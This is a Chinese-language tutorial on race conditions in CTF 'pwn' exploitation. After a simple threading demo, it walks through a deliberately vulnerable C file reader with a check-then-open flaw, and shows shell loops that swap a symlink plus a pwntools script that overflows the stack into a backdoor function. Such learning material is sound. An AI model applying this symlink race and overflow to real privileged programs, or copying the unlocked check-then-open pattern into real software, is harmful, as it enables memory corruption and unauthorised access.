Pwn 竞争冒险初探
介绍
竞争冒险, 又叫竞争条件. 最初源自逻辑电路中两个电信号的竞争. 由于你电计科数电不讲这玩意, 所以我也不知道是啥. 在后来的计算机软件中, 由于并行进程访问同一个资源也可能造成竞争性的冲突, 这个词也就沿用了下来.
例子
学过操作系统的都知道, 如果两个并行的进程或线程对同一个资源的访问不是原子的, 那么就很可能出现意想不到的情况. 比如下面这个简单的例子:
#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
int shared;
void* thread1() {
while (1) {
shared = 1;
printf("thread1: %d\n", shared);
}
}
void* thread2() {
while (1) {
shared = 2;
printf("thread2: %d\n", shared);
}
}
int main() {
pthread_t t1, t2;
pthread_create(&t1, NULL, thread1, NULL);
pthread_create(&t2, NULL, thread2, NULL);
sleep(5);
return 0;
}
“理论上” 来说, 输出只可能是 thread1: 1
或者 thread2: 2
, 但我们把它编译运行, 看一看结果:

可以看到, 程序输出了若干条不符合我们预期的结果. 这就是简单的一个竞争冒险的例子.
为什么会出现这样的情况呢? 原因在于两个线程对同一个资源进行了操作, 且 “赋值并输出” 这一整个操作不是 “原子” 操作. 当 thread1 运行完 shared = 1;
, thread2 恰巧运行了 shared = 2;
, 然后 thread 1 在输出的时候, 就会变成 printf("thread1: %d", 2);
.
利用
既然存在竞争冒险的行为是不安全的, 那我们能否利用它呢? 答案是肯定的. 下面以 CTF Wiki 上的例子来说明如何利用 (有修改).
考虑下面这样的程序:
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <unistd.h>
void backdoor() { write(1, "hacked!\n", 8); }
void vuln(char *file, char *buf) {
int number;
int index = 0;
int fd = open(file, O_RDONLY);
if (fd == -1) {
perror("open file failed!!");
return;
}
while (1) {
number = read(fd, buf + index, 128);
if (number <= 0) {
break;
}
index += number;
}
buf[index + 1] = '\x00';
}
void check(char *file) {
struct stat tmp;
if (strcmp(file, "flag") == 0) {
puts("file can not be flag!!");
exit(0);
}
stat(file, &tmp);
if (tmp.st_size > 255) {
puts("file size is too large!!");
exit(0);
}
}
int main(int argc, char *argv[argc]) {
char buf[256];
if (argc == 2) {
check(argv[1]);
vuln(argv[1], buf);
} else {
puts("Usage ./prog <filename>");
}
return 0;
}
这个程序的功能是读取一个不大于 256 字节的文件. 其中, check 函数检查大小, 通过检查以后在 vuln 函数中打开文件并读取到 buf 中. 注意到, 检查文件大小到打开文件这一整个操作, 不是 “原子” 的, 或者说得更通俗一点, 没有对文件加锁. 如果在检查通过之后, 打开文件之前, 文件改变了, 那么就有可能读取更多的字节到 buf 上, 从而造成栈溢出.
首先, 我们用 -fno-stack-protector
和 -fno-pie -fno-pic -no-pie
选项编译这个程序, 即关闭 canary 和 PIE. 然后我们写两个脚本, 一个用于运行程序, 一个用于改变文件, 尝试造成竞争冒险.
#!/bin/sh
for i in `seq 3000`
do
./test fake
done
#!/bin/sh
for i in `seq 1000`
do
echo something_less_than_256_bytes > fake
rm fake
ln -s payload fake
rm fake
done
其中, payload 是能够 ret2text 到 backdoor 函数的文件, 生成脚本如下:
from pwn import *
test = ELF('./test')
payload = b'a' * 0x100 + b'b' * 8 + p64(test.symbols['backdoor'])
open('payload', 'wb').write(payload)
这个地方使用软链接而不 copy 的原因在于, copy 需要读和写, 耗时较多, 而软链接很快. 如果无论如何也不能在 检查通过后, 到文件读取前这段时间 内不能改变文件 (比如 copy 耗时比这段时间长), 那么就无法造成竞争冒险了.
我们并行运行这两个脚本, 查看输出. 这里并行用了一个小技巧, 即把一个程序放到后台 (命令后加 &
), 然后用 &&
连接符连接两个命令:

可以看到, 我们成功进行了栈溢出并 ret2text.